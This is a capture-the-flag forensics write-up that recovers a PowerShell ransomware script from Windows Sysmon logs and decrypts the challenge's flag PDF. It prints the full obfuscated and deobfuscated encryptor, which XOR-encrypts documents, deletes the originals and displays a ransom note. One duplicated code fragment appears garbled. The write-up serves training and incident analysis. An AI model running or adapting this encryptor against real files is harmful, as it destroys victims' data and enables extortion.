Cave Expedition Writeup
Cyber Apocalypse 2025
Solved by thewhiteh4t
- Multiple EVTX files i.e. windows event logs are provided, but it looks like the malware cleared all the logs but left one
> ls -lah | grep -v 68K
total 30M
drwxr-xr-x 2 twh twh 44K Mar 27 12:19 .
drwxr-xr-x 3 twh twh 4.0K Mar 27 12:19 ..
-rw-r--r-- 1 twh twh 1.1M Jan 28 10:31 Microsoft-Windows-Sysmon_Operational.evtx
- I used
evtx_dump
to extract events from EVTX files and convert them into JSON for easier parsing
> evtx_dump Microsoft-Windows-Sysmon_Operational.evtx -o jsonl -f sysmon.json
- Now we can write a parser and extract PowerShell code from the logs :
import json
with open('sysmon.json') as infile:
data = infile.readlines()
sequence = []
for line in data:
json_line = json.loads(line)
try:
sequence.append(json_line\['Event'\]['EventData']['CommandLine'])
except KeyError:
pass
for cmdline in sequence:
if 'wevtutil' in cmdline:
continue
print(cmdline)
- As we can see
Append -NoNewline
is used, so we will concatenate all the base64 strings
> cat b64_ps.txt
JGszNFZtID0gIktpNTBlSFFnS2k1a2IyTWdLaTVrYjJONElDb3VjR1JtIg0KJG03OFZvID0gIkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwWlQxVlNJRVpKVEVWVElFaEJWa1VnUWtWRlRpQkZUa05TV1ZCVVJVUWdRbGtnUVNCU1FVNVRUMDFYUVZKRkNpb2dWMmhoZENCb1lYQndaVzVsWkQ4S1RXOXpkQ0J2WmlCNWIzVnlJR1pwYkdWeklHRnlaU0J1YnlCc2IyNW5aWElnWVdOalpYTnphV0pzWlNCaVpXTmhkWE5sSUhSb1pYa2dhR0YyWlNCaVpXVnVJR1Z1WTNKNWNIUmxaQzRnUkc4Z2JtOTBJS
...
- After decoding in cyberchef we get the actual PowerShell script
> cat attack.ps1
$k34Vm = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"
$m78Vo = "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpZT1VSIEZJTEVTIEhBVkUgQkVFTiBFTkNSWVBURUQgQlkgQSBSQU5TT01XQVJFCiogV2hhdCBoYXBwZW5lZD8KTW9zdCBvZiB5b3VyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gRG8gbm90IHdhc3RlIHlvdXIgdGltZSB0cnlpbmcgdG8gZmluZCBhIHdheSB0byBkZWNyeXB0IHRoZW07IGl0IGlzIGltcG9zc2libGUgd2l0aG91dCBvdXIgaGVscC4KKiBIb3cgdG8gcmVjb3ZlciBteSBmaWxlcz8KUmVjb3ZlcmluZyB5b3VyIGZpbGVzIGlzIDEwMCUgZ3VhcmFudGVlZCBpZiB5b3UgZm9sbG93IG91ciBpbnN0cnVjdGlvbnMuCiogSXMgdGhlcmUgYSBkZWFkbGluZT8KT2YgY291cnNlLCB0aGVyZSBpcy4gWW91IGhhdmUgdGVuIGRheXMgbGVmdC4gRG8gbm90IG1pc3MgdGhpcyBkZWFkbGluZS4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo="
$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"
$e90Vg = @{}
$f12Vh = @{}
For ($x = 65; $x -le 90; $x++) {
$e90Vg\[([char]$x)] = if($x -eq 90) { [char]65 } else { [char\]($x + 1) }
}
function n90Vp {
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m78Vo))
}
function l56Vn {
return (a12Vc $k34Vm).Split(" ")
}
For ($x = 97; $x -le 122; $x++) {
$e90Vg\[([char]$x)] = if($x -eq 122) { [char]97 } else { [char\]($x + 1) }
}
function a12Vc {
param([string]$a34Vd)
return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
}
$c56Ve = a12Vc $a53Va
$d78Vf = a12Vc $b64Vb
For ($x = 48; $x -le 57; $x++) {
$e90Vg\[([char]$x)] = if($x -eq 57) { [char]48 } else { [char\]($x + 1) }
}
$e90Vg.GetEnumerator() | ForEach-Object {
$f12Vh[$_.Value] = $_.Key
}
function l34Vn {
param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
$p12Vr = [byte[]]::new($m56Vo.Length)
for ($x = 0; $x -lt $m56Vo.Length; $x++) {
$q34Vs = $n78Vp[$x % $n78Vp.Length]
$r56Vt = $o90Vq[$x % $o90Vq.Length]
$p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
}
return $p12Vr
}
function s78Vu {
param([byte[]]$t90Vv, [string]$u12Vw, [string]$v34Vx)
if ($t90Vv -eq $null -or $t90Vv.Length -eq 0) {
return $null
}
$y90Va = [System.Text.Encoding]::UTF8.GetBytes($u12Vw)
$z12Vb = [System.Text.Encoding]::UTF8.GetBytes($v34Vx)
$a34Vc = l34Vn $t90Vv $y90Va $z12Vb
return [Convert]::ToBase64String($a34Vc)
}
function o12Vq {
param([switch]$p34Vr)
try {
if ($p34Vr) {
foreach ($q56Vs in l56Vn) {
$d34Vp = "dca01aq2/"
if (Test-Path $d34Vp) {
Get-ChildItem -Path $d34Vp -Recurse -ErrorAction Stop |
Where-Object { $_.Extension -match "^\.$q56Vs$" } |
ForEach-Object {
$r78Vt = $_.FullName
if (Test-Path $r78Vt) {
$s90Vu = [IO.File]::ReadAllBytes($r78Vt)
$t12Vv = s78Vu $s90Vu $c56Ve $d78Vf
[IO.File]::WriteAllText("$r78Vt.secured", $t12Vv)
Remove-Item $r78Vt -Force
}
}
}
r78Vt) {
$s90Vu = [IO.File]::ReadAllBytes($r78Vt)
$t12Vv = s78Vu $s90Vu $c56Ve $d78Vf
[IO.File]::WriteAllText("$r78Vt.secured", $t12Vv)
Remove-Item $r78Vt -Force
}
}
}
}
}
}
catch {}
}
if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
o12Vq -p34Vr
n90Vp
}
- The code is obfuscated a bit, so we can clear it up and get more meaningful script, for this step I used ChatGPT
> cat attack_formatted.ps1
# List of file extensions to target (Base64 encoded)
$fileExtensions = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"
# Encoded warning message
$encodedMessage = "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpZT1VSIEZJTEVTIEhBVkUgQkVFTiBFTkNSWVBURUQgQlkgQSBSQU5TT01XQVJFCiogV2hhdCBoYXBwZW5lZD8KTW9zdCBvZiB5b3VyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gRG8gbm90IHdhc3RlIHlvdXIgdGltZSB0cnlpbmcgdG8gZmluZCBhIHdheSB0byBkZWNyeXB0IHRoZW07IGl0IGlzIGltcG9zc2libGUgd2l0aG91dCBvdXIgaGVscC4KKiBIb3cgdG8gcmVjb3ZlciBteSBmaWxlcz8KUmVjb3ZlcmluZyB5b3VyIGZpbGVzIGlzIDEwMCUgZ3VhcmFudGVlZCBpZiB5b3UgZm9sbG93IG91ciBpbnN0cnVjdGlvbnMuCiogSXMgdGhlcmUgYSBkZWFkbGluZT8KT2YgY291cnNlLCB0aGVyZSBpcy4gWW91IGhhdmUgdGVuIGRheXMgbGVmdC4gRG8gbm90IG1pc3MgdGhpcyBkZWFkbGluZS4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo="
# Encrypted keys (Base64 encoded)
$key1 = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
$key2 = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"
# Dictionary for simple character shifting cipher
$shiftCipher = @{}
$reverseShiftCipher = @{}
# Create a shift cipher for uppercase letters
For ($ascii = 65; $ascii -le 90; $ascii++) {
$shiftCipher\[([char]$ascii)] = if($ascii -eq 90) { [char]65 } else { [char\]($ascii + 1) }
}
# Function to decode the warning message from Base64
function DecodeMessage {
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedMessage))
}
# Function to retrieve file extensions from Base64 encoding
function GetFileExtensions {
return (Base64Decode $fileExtensions).Split(" ")
}
# Extend the shift cipher to include lowercase letters
For ($ascii = 97; $ascii -le 122; $ascii++) {
$shiftCipher\[([char]$ascii)] = if($ascii -eq 122) { [char]97 } else { [char\]($ascii + 1) }
}
# Function to decode a Base64 string
function Base64Decode {
param([string]$encodedString)
return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encodedString))
}
# Decode the keys from Base64
$decodedKey1 = Base64Decode $key1
$decodedKey2 = Base64Decode $key2
# Extend the shift cipher to include numbers
For ($ascii = 48; $ascii -le 57; $ascii++) {
$shiftCipher\[([char]$ascii)] = if($ascii -eq 57) { [char]48 } else { [char\]($ascii + 1) }
}
# Reverse the shift cipher mapping
$shiftCipher.GetEnumerator() | ForEach-Object {
$reverseShiftCipher[$_.Value] = $_.Key
}
# Function to XOR encrypt/decrypt byte arrays
function XORBytes {
param([byte[]]$data, [byte[]]$keyA, [byte[]]$keyB)
$result = [byte[]]::new($data.Length)
for ($i = 0; $i -lt $data.Length; $i++) {
$byteA = $keyA[$i % $keyA.Length]
$byteB = $keyB[$i % $keyB.Length]
$result[$i] = $data[$i] -bxor $byteA -bxor $byteB
}
return $result
}
# Function to encrypt a file's contents
function EncryptFile {
param([byte[]]$fileData, [string]$keyA, [string]$keyB)
if ($fileData -eq $null -or $fileData.Length -eq 0) {
return $null
}
$keyBytesA = [System.Text.Encoding]::UTF8.GetBytes($keyA)
$keyBytesB = [System.Text.Encoding]::UTF8.GetBytes($keyB)
$encryptedData = XORBytes $fileData $keyBytesA $keyBytesB
return [Convert]::ToBase64String($encryptedData)
}
# Function to find and encrypt specific file types
function SecureFiles {
param([switch]$encrypt)
try {
if ($encrypt) {
foreach ($ext in GetFileExtensions) {
$directory = "dca01aq2/"
if (Test-Path $directory) {
Get-ChildItem -Path $directory -Recurse -ErrorAction Stop |
Where-Object { $_.Extension -match "^\.$ext$" } |
ForEach-Object {
$filePath = $_.FullName
if (Test-Path $filePath) {
$fileBytes = [IO.File]::ReadAllBytes($filePath)
$encryptedContent = EncryptFile $fileBytes $decodedKey1 $decodedKey2
[IO.File]::WriteAllText("$filePath.secured", $encryptedContent)
Remove-Item $filePath -Force
}
}
}
}
}
}
catch {}
}
# Check if the script is running under a specific user and machine
if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
SecureFiles -encrypt
DecodeMessage
}
- So now we can understand and see that its performing XOR among three values
- We can simply repurpose existing code to decrypt the PDF file, I added the following extra code in same ps1 script :
> diff attack_formatted.ps1 decrypt.ps1
81a82,96
> function DecryptFile {
> param([byte[]]$fileData, [string]$keyA, [string]$keyB)
>
> if ($fileData -eq $null -or $fileData.Length -eq 0) {
> return $null
> }
>
> $keyBytesA = [System.Text.Encoding]::UTF8.GetBytes($keyA)
> $keyBytesB = [System.Text.Encoding]::UTF8.GetBytes($keyB)
> $decryptedData = XORBytes $fileData $keyBytesA $keyBytesB
> $byteArray = [byte[]] $decryptedData
> [IO.File]::WriteAllBytes("flag.pdf", $byteArray)
> }
>
114a130,132
> $fileText = [IO.File]::ReadAllText("map.pdf.secured")
> $fileBytes = [System.Convert]::FromBase64String($fileText)
> DecryptFile $fileBytes $decodedKey1 $decodedKey2